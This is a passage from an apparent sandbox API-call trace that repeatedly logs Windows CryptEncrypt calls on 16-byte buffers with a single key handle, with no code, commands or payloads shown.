pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.694] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.695] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.696] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.697] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.698] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | 